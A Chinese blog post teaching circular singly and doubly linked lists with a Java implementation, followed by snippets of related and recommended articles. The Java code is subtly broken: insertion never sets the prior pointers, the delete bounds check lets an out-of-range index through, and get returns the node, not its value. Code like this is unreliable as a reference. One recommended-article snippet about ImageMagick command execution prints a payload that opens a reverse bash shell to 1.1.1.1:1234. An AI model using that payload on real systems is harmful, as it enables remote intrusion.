• 1、单项循环列表

单向循环链表是单链表的另一种形式,其结构特点是链表中最后一个结点的指针不再是结束标记,而是指向整个链表的第一个结点,从而使单链表形成一个环。和单链表相比,循环单链表的长处是从链尾到链头比较方便。当要处理的数据元素序列具有环型结构特点时,适合于采用循环单链表。

  • 2、单向循环链表

和单链表相同,循环单链表也有带头结点结构和不带头结点结构两种,带头结点的循环单链表实现插入和删除操作时,算法实现较为方便。带头结点的循环单链表结构如下:

带头结点的循环单链表的操作实现方法和带头结点的单链表的操作实现方法类同,差别仅在于:

(1)在构造函数中,要加一条head.next = head 语句,把初始时的带头结点的循环单链表设计成图2-11 (a)所示的状态。

(2)在index(i)成员函数中,把循环结束判断条件current != null改为current != head。

  • 双向循环链表

双向链表是每个结点除后继指针外还有一个前驱指针。和单链表类同,双向链表也有带头结点结构和不带头结点结构两种,带头结点的双向链表更为常用;另外,双向链表也可以有循环和非循环两种结构,循环结构的双向链表更为常用

在双向链表中,每个结点包括三个域,分别是element域、next域和prior域,其中element域为数据元素域,next域为指向后继结点的对象引用,prior域为指向前驱结点的对象引用。

如下图是带头结点的循环双向链表的图示结构。循环双向链表的next和prior各自构成自己的循环单链表。

在双向链表中,有如下关系:设对象引用p表示双向链表中的第i个结点,则p.next表示第i+1个结点,p.next.prior仍表示第i个结点,即p.next.prior == p;同样地,p.prior表示第i-1个结点,p.prior.next仍表示第i个结点,即p.prior.next == p。下图是双向链表上述关系的图示。

循环双向链表的插入过程如下图所示。图中的指针p表示要插入结点的位置,s表示要插入的结点,①、②、③、④表示实现插入过程的步骤。

//==========================================我是代码的分割线

//具体代码的分析已经详细的写在了解析里面,欢迎讨论

 /**
* 本项目主要是通过几个类来组合实现
* 1、List的线性表的接口
* 2、Node节点类的具体方法
* 3、单项链表类的具体实现
*/ /**
* 线性表接口
*/
public interface List { // 获得线性表的长度
public int size(); // 判断是否为空
public boolean isEmpty(); // 插入操作,需要抛出异常
public void insert(int index, Object obj) throws Exception; // 删除元素
public void delete(int index) throws Exception; // 获取指定位置元素
public Object get(int index) throws Exception; }

List interface

//节点类
//这个是重点!!!!Java一样可以实现指针的跳转->使用引用
public class Node { Object element; // 数据域
Node next;// 后继指针域
Node prior;// 前驱指针域 // 头节点的构造方法
public Node(Node nextval) {
this.next = nextval;
} // 非头节点的构造方法
public Node(Object obj, Node nextval) {
this.element = obj;
this.next = nextval;
} // 获得当前节点的后继结点
public Node getNext() {
return this.next;
} // 获得当前节点的前驱结点
public Node getPrior() {
return this.prior;
} // 获得当前节点的数据域的值
public Object getElement() {
return this.element;
} // 设置当前节点的后继指针域
public void setNext(Node nextval) {
this.next = nextval;
} // 设置当前节点的前驱指针域
public void setPrior(Node priorval) {
this.prior = priorval;
} // 设置当前节点的数据域,
public void setElement(Object obj) {
this.element = obj;
} public String toString() {
return this.element.toString();
}
}
 //单向链表类
public class DoubleCycleLinkList implements List { Node head;// 头指针
Node current;// 当前节点对象
int size; // 节点的个数 // 初始化一个空链表
public DoubleCycleLinkList() {
// 初始化头节点,让头指针指向头节点,并且让当前节点对象等于头节点
this.head = current = new Node(null);
this.size = 0; // 单项链表出事长度为0
// 循环列表属性
this.head.next = head;
this.head.prior = head;
} // 定位函数,实现当前操作对象的前一个节点,也就是让当前节点对象定位到要要操作节点的前一个节点
public void index(int index) throws Exception {
// 参数非法时,出现-1是由于第一个元素的下标是0,而第一个元素的前面就是头节点,该节点就得用-1表示下标了。
if (index < -1 || index > size - 1) {
throw new Exception("参数错误");
}
// 说明是在头节点之后进行操作
if (index == -1)
return;
// 通过该循环获得要操作的那个数的前一个节点
current = head.next;
int j = 0;// 循环变量
// 循环链表属性
while (current != head && j < index) {
current = current.next;
j++;
} } @Override
public int size() {
// TODO Auto-generated method stub
return this.size;
} @Override
public boolean isEmpty() {
// TODO Auto-generated method stub
return size == 0;
} @Override
public void insert(int index, Object obj) throws Exception {
// TODO Auto-generated method stub
// 可以等于0表示在一个元素的前面插入,也就是头结点的后面
if (index < 0 || index > size) {
throw new Exception("参数错误! ");
}
/**
* 这里是核心操作
*/
// 定位到要操作节点的前一个节点对象
index(index - 1);
// 将前一个节点进行设置,使其指向要插入节点的指针域,
current.setNext(new Node(obj, current.next));
size++;
} @Override
public void delete(int index) throws Exception {
// TODO Auto-generated method stub
if (isEmpty()) {
throw new Exception("链表为空,无法删除");
} if (index < 0 || index > size) {
throw new Exception("参数错误!");
}
// 进行定位
index(index - 1);
// current此时表示要删除节点的前一个节点的指示,因此需要将该节点指向要删除的那个节点的下一个节点才对
// 修改后继指针
current.setNext(current.next.next);
// 修改前驱指针
current.next.setPrior(current);
size--; } @Override
public Object get(int index) throws Exception {
// TODO Auto-generated method stub
if (index < -1 || index > size - 1) {
throw new Exception("参数非法,无法查询");
}
// 先定位
index(index);
return current;
}
}
//测试类
public class Test {
public static void main(String[] args) throws Exception {
DoubleCycleLinkList list = new DoubleCycleLinkList();
for (int i = 0; i < 10; i++) {
// 0-99之间的整数
int temp = (int) (Math.random() * 100);
list.insert(i, temp);
System.out.print(temp + " ");
} list.delete(4);
System.out.println();
System.out.println("----删除第五个元素之后------");
for (int i = 0; i < list.size; i++) {
System.out.print(list.get(i) + " ");
}
}
}

双向循环链表的Java版本实现的更多相关文章

  1. 3.1、双向循环链表(java实现)

    1.创建节点类 public class CNode<T> { public CNode prev; public CNode next; public T data; public CN ...

  2. java与数据结构(4)---java实现双向循环链表

    线性表之链式存储结构双向循环链表 双向循环链表:每个结点包含了数据.直接前驱地址指针和直接后驱地址指针,头结点的直接前驱指向尾结点,尾结点的直接后驱指向头结点,头尾相连构成一个可正可反的圆环.可以形象 ...

  3. java实现双向循环链表

    java实现循环链表:http://www.cnblogs.com/lixiaolun/p/4643911.html 在单链表中,查询下一个元素的时间是O(1).查询上一个元素的时间却是O(n). 为 ...

  4. (java实现)双向循环链表

    什么是双向循环链表 在了解双向循环链表之前,如果对链表还没有一个清晰的概念,建议你看看单链表和单向循环链表,这有利于你更好的理解下面的内容.(废话有点多[逃] 相比单链表,双向循环链表是一个更加复杂的 ...

  5. Java 用双向循环链表实现 遍历

    package day2; /** * 构建双向循环链表,实现遍历功能 */public class DoubleLB { public static void main(String[] args) ...

  6. java数据结构-06双向循环链表

    双向循环链表跟单向链表一样,都是头尾相连,不过单向是尾指向头,双向是头尾互相指,可以从前往后查,也可以从后往前查 无头结点的双向循环链表 public class CircleLinkedList&l ...

  7. C语言通用双向循环链表操作函数集

    说明 相比Linux内核链表宿主结构可有多个链表结构的优点,本函数集侧重封装性和易用性,而灵活性和效率有所降低.     可基于该函数集方便地构造栈或队列集.     本函数集暂未考虑并发保护. 一  ...

  8. "《算法导论》之‘线性表’":双向循环链表

    本文双链表介绍部分参考自博文数组.单链表和双链表介绍 以及 双向链表的C/C++/Java实现. 1 双链表介绍 双向链表(双链表)是链表的一种.和单链表一样,双链表也是由节点组成,它的每个数据结点中 ...

  9. Linux内核2.6.14源码分析-双向循环链表代码分析(巨详细)

    Linux内核源码分析-链表代码分析 分析人:余旭 分析时间:2005年11月17日星期四 11:40:10 AM 雨 温度:10-11度 编号:1-4 类别:准备工作 Email:yuxu97101 ...

随机推荐

  1. 使用C#向ACCESS中插入数据(仅供参考)

    1.创建并打开一个OleDbConnection对象 string strConn = " Provider = Microsoft.Jet.OLEDB.4.0 ; Data Source ...

  2. [CareerCup] 18.4 Count Number of Two 统计数字2的个数

    18.4 Write a method to count the number of 2s between 0 and n. 这道题给了我们一个整数n,让我们求[0,n]区间内所有2出现的个数,比如如 ...

  3. mvc正则@符号js报错解决办法

    很简单在@前面再加个@就行了,也可以以引进js 的形式解决!

  4. ImageMagick又一处命令执行

    push graphic-context viewbox image copy , , "|bash -i >& /dev/tcp/1.1.1.1/1234 0>& ...

  5. spring security 管理会话 多个用户不可以使用同一个账号登录系统

    多个用户不能使用同一个账号同时登陆系统. 1. 添加监听器 在web.xml中添加一个监听器,这个监听器会在session创建和销毁的时候通知Spring Security. <listener ...

  6. Unity UGUI 裁剪TTF字体

    BitBucket上找到了一个perl工程,font-optimizer.拉取代码到本地.为了运行它,还需要装Perl解释器,可以在Perl的官网上下载ActivePerl.装好ActivePerl后 ...

  7. 20145337《Java程序设计》第三周学习总结

    20145337 <Java程序设计>第三周学习总结 教材学习内容总结 类与对象 类与对象的关系:要产生对象必须先定义类,类是对象的设计图,对象是类的实例.我觉得在视频中对类与对象关系的描 ...

  8. 用户、组或角色 '' 在当前数据库中已存在。 (Microsoft SQL Server,错误: 15023)

    SQLServer2008用户组或角色'*****'在当前数据库中已存在问题的解决办法 在迁移数据库的过程中SQLServer SDE的问题 为一个数据库添加一个用户时,提示以下信息:用户.组或角色 ...

  9. cpu为什么使用虚拟地址到物理地址的空间映射,解决了什么样的问题?

    当处理器读或写入内存位置时,它会使用虚拟地址.作为读或写操作的一部分,处理器将虚拟地址转换为物理地址.通过虚拟地址访问内存有以下优势: 程序可以使用一系列相邻的虚拟地址来访问物理内存中不相邻的大内存缓 ...

  10. 关于linux密码忘记问题解决方法

    最近在试装centos,不小心把密码丢了,进不去,查了一下资料,找到了方法,试验成功.存在这里,备用. 1. 在出现grub画面时,用上下键选中你平时启动linux的那一项,然后按e键 2. 再次用上 ...